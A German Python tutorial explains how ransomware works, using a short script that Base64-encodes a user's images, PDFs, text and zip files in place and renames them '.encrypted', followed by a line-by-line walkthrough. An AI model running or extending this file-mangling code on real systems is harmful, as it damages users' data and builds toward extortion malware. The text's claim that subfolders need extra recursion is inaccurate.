Python Tutorial - Cryptotrojaner
30.07.2018, 09:11 - Autor: PGD
Vor kurzem haben Cryptotrojaner das Internet und deren User in Angst
und Schrecken versetzt. Der Plan hinter diesen Schädlingen war einfach -
verschlüssel die wichtigen Dateien des Users und erpresse dann ein Lösegeld
für den Entschlüsselungscode.
Und der Plan ging hunderttausendfach auf denn für viele Firmen war es
deutlich billiger die paar hundert EUR oder USD Lösegeld zu zahlen als
einige Tage Arbeit zu verlieren. Privatpersonen ohne aktuelle
Datensicherung mussten sich auch entscheiden ob ihnen ihre Daten das
Lösegeld wert war oder nicht...
Einige dieser Crypto-Trojaner konnten natürlich geknackt werden und
Sicherheitsexperten haben Entschlüsselungs-Tools bereitgestellt. Etwas zu
warten bevor man das Lösegeld zahlt konnte sich also auszahlen.
Aber sehen wir uns doch einfach an wie so ein Tool arbeitet:
#!/usr/bin/python3
import os, base64
home = os.path.expanduser("~")
exts = (".jpg", ".pdf", ".png", ".txt", ".zip")
for root, dirs, files in os.walk(home):
for file in files:
for ext in exts:
if file.lower().endswith(ext):
path = os.path.join(root, file)
with open(path, "rb") as f:
enc = base64.b64encode(f.read())
with open(path, "wb") as f:
f.write(enc)
os.rename(path, path + ".encrypted")
Bevor Sie das Programm starten ein Wort der Warnung - es ist keine gute
Idee so ein Tool auf dem eigenen Rechner zu testen! Wenn Ihnen Ihre Daten
lieb sind benutzen Sie einen virtuellen PC! Ich übernehme ausdrücklich
keine Haftung dafür wenn Sie mit diesem Script Ihre ganzen Daten "durch den
Fleischwolf drehen". Außerdem habe ich hier keine wirkliche Verschlüsselung
eingesetzt sondern die Daten einfach Base64 encodiert wie es auch bei einem
Email-Anhang gemacht wird.
Ein richtiger Sicherheitsexperte wird so nur wenige Minuten brauchen um zu
verstehen was da passiert und einen Decoder zu schreiben. Dennoch reicht
das aus um einen Normalen User zum Verzweiflung zu treiben denn keine
seiner Dateien wird sich öffnen lassen!
Zuerst kommt die altbekannte
import-Anweisung zum laden der Module und
danach ermitteln wir mit
os.path.expanduser("~") den Pfad zum
Benutzer-Ordner und speichern diesen in
home ab.
In der Variable
exts legen wir eine Tupel der Dateierweiterungen ab, die
die Dateitypen kennzeichnen die "verschlüsselt" werden sollen.
Danach erhalten wir mit
os.walk(home) folgende drei Listen: In
wird
root der Ordner-Pfad zugewiesen und
files enthält eine Liste der
Dateien. Analog dazu enthält
dirs eine Liste der Unterordner.
Wer vorhat alle Unterordner zu durchlaufen kann diese
for-Schleife in eine rekursiv
aufgerufene Funktion packen.
Danach durchlaufen wir alle Dateien mit
for file in files und für jede
Datei durchlaufen wir die Liste der Dateierweiterungen (
for ext in exts) um
dann mit
if file.lower().endswith(ext) zu prüfen ob die Dateierweiterung
übereinstimmt. Hierbei sorgt das
lower() dafür, dass auch eine
Dateierweiterung wie
.JPG erkannt wird da dadurch der Dateiname in
kleinbuchstaben umgewandelt wird bevor wir den Vergleich durchführen.
path = os.path.join(root, file) fügt den Basis-Ordner der Datei und den
Dateinamen zu einem Pfad zusammen. Dies sollte so gemacht werden da Pfade
unter Linux / OSX / Unix anders aufgebaut sind als unter Windows. Genau
dessen trägt
join() Rechnung und baut den Pfad dem Betriebssystem
entsprechend zusammen. Damit ist der gleiche Code unter jedem
Betriebssystem lauffähig.
Dann wird die Datei mit
with open(path, "rb") as f zum Lesen im Binär-Modus
geöffnet und mit
enc = base64.b64encode(f.read()) ein Base64 encodierter
String des Dateiinhaltes in
enc abgelegt.
Dann wird die Datei wieder zum Schreiben geöffnet und der Inhalt mit
f.write(enc) durch den zuvor erstellten Base64-String erstellt. Zu guter
Letzt benennen wir die Date auch noch um und hängen an den Dateinamen ein
.encrypted an um die Dateien nicht doppelt zu verschlüsseln falls das
Programm erneut aufgerufen wird!